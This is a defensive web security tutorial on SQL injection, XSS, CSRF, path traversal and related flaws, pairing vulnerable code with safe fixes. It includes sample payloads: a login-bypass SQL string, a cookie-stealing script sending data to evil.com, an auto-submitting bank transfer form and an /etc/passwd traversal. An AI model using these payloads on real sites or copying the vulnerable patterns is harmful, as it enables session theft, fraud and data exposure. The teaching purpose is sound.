🛡️ Security · Web Development
📅 Березень 2026⏱ 12 хв читання🟡 Середній

SQL Injection, XSS & CSRF: Web Security Attacks

SQL injection, Cross-Site Scripting, and CSRF together account for a huge fraction of successful web breaches. These aren't exotic nation-state zero-days — they're basic mistakes, made every day by developers who don't understand how browsers and databases interpret untrusted data.

1. SQL Injection

A SQL injection attack occurs when user-supplied data is directly embedded in an SQL query without sanitisation, allowing the attacker to change the query's logic.

⚠️ VULNERABLE — Never do this
const query = `SELECT * FROM users WHERE username = '${req.body.user}'
                 AND password = '${req.body.pass}'`;
// Attacker inputs: user = "admin' --"
// Query becomes:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// The -- comments out the password check → logged in as admin
✅ SAFE — Parameterised queries
// Node.js / PostgreSQL
const result = await db.query(
  'SELECT * FROM users WHERE username = $1 AND password = $2',
  [req.body.user, req.body.pass]  // parameters, never concatenated
);
// The database driver escapes all special characters.
Danger: Successful SQL injection can dump entire databases, bypass authentication, modify data, or (with xp_cmdshell in MSSQL) execute OS commands. The 2012 LinkedIn breach (6.5M passwords) began with SQL injection.

2. Cross-Site Scripting (XSS)

XSS injects malicious scripts into pages viewed by other users. The browser of the victim executes the attacker's JavaScript in the context of the target site — with full access to cookies, localStorage, and the DOM.

Reflected XSS

The payload is in the URL parameter and immediately reflected in the response. Attacker sends the victim a crafted link. Example: search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

Stored XSS

The payload is persisted to the database (e.g., a comment field) and served to every visitor. More dangerous — no need to trick specific users with links.

⚠️ VULNERABLE
// Server renders user-supplied content directly into HTML:
document.getElementById('comment').innerHTML = userInput;
// or server-side:
res.send('<p>Hello ' + req.query.name + '</p>');
✅ SAFE
// Use textContent (not innerHTML) for user data:
element.textContent = userInput;  // browser treats it as text, not HTML

// Server-side: use a templating engine that auto-escapes:
// Handlebars: {{ name }}  →  &lt; &gt; (escaped)
// React: {name}           →  auto-escaped by React's VDOM

3. Cross-Site Request Forgery (CSRF)

CSRF exploits the browser's automatic inclusion of cookies. If a user is logged into bank.com and visits evil.com, a hidden form on evil.com can submit a POST to bank.com — the browser attaches the user's session cookie automatically.

⚠️ CSRF Attack on evil.com
<!-- Hidden form auto-submits when the victim visits -->
<form method="POST" action="https://bank.com/transfer">
  <input name="to" value="attacker-account">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
Defences:
CSRF tokens: Server generates a random token per session, embeds it in forms, and validates it on submission. An attacker on evil.com can't read it (same-origin policy).
SameSite cookies: Set SameSite=Strict or SameSite=Lax — browser won't send cookies in cross-site requests.
Double-submit cookie: Token in both cookie and request body; server checks they match.

4. IDOR, Path Traversal & More

IDOR (Insecure Direct Object Reference): Accessing another user's data by changing an ID in the URL. e.g., /api/invoice?id=1042 → try id=1043. Fix: authorisation check on every resource access.

Path traversal: Using ../../etc/passwd in file path parameters to read arbitrary files on the server. Fix: canonicalise paths and verify they're within the intended directory.

Command injection: Passing unsanitised input to OS commands via system(), exec(), etc. Fix: avoid shell invocations or use parameterised APIs (child_process.execFile with args array).

XXE (XML External Entity): XML parsers that resolve external entities can be exploited to read files or make SSRF requests. Fix: disable DTD/external entity processing in XML parser settings.

5. Content Security Policy

CSP is an HTTP response header that tells browsers which sources are allowed to load scripts, styles, images, etc. A strict CSP prevents most XSS attacks even if HTML injection occurs:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random-per-request}';
  style-src  'self' 'nonce-{random-per-request}';
  img-src    'self' data: https:;
  object-src 'none';
  base-uri   'none';

With nonce-based CSP, only inline scripts with the correct nonce value (generated server-side, different each request) execute. An attacker who injects a script tag without the nonce is blocked.

6. OWASP Top 10 (2021)

  1. Broken Access Control
  2. Cryptographic Failures (plain-text passwords, weak hashing)
  3. Injection (SQL, NoSQL, LDAP, Command)
  4. Insecure Design
  5. Security Misconfiguration (default credentials, verbose errors)
  6. Vulnerable & Outdated Components
  7. Identification & Authentication Failures
  8. Software & Data Integrity Failures (unverified updates, malicious npm packages)
  9. Security Logging & Monitoring Failures
  10. Server-Side Request Forgery (SSRF)

7. Security Best Practices